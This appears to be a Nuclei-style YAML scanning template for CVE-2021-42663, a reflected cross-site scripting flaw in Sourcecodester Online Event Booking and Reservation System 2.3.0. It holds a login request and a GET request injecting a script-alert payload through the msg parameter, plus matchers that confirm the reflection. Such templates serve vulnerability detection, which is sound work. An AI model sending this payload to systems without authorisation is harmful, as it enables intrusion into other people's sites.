56 lines
1.7 KiB
YAML
56 lines
1.7 KiB
YAML
id: CVE-2021-42663
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info:
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name: Sourcecodester Online Event Booking and Reservation System 2.3.0 - Cross-Site Scripting
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author: fxploit
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severity: medium
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description: |
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Sourcecodester Online Event Booking and Reservation System 2.3.0 contains a cross-site scripting vulnerability in PHP/MySQL via the msg parameter to /event-management/index.php. An attacker can leverage this vulnerability in order to change the visibility of the website. Once the target user clicks on a given link, the content of the HTML code of the attacker's choice displays.
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reference:
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- https://github.com/0xDeku/CVE-2021-42663
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- https://www.sourcecodester.com/php/14241/online-event-booking-and-reservation-system-phpmysql.html
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- https://github.com/TheHackingRabbi/CVE-2021-42663
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- https://nvd.nist.gov/vuln/detail/CVE-2021-42663
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
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cvss-score: 4.3
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cve-id: CVE-2021-42663
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cwe-id: CWE-79
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metadata:
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verified: "true"
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tags: cve,cve2021,xss
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requests:
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- raw:
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- |
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POST /login.php HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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name={{username}}&pwd={{password}}
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- |
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GET /views/index.php?msg=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
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Host: {{Hostname}}
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host-redirects: true
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max-redirects: 2
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cookie-reuse: true
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- "</i><script>alert(document.domain)</script></div>"
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- type: word
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part: header
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words:
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- text/html
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- type: status
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status:
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- 200
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# Enhanced by md on 2022/09/08
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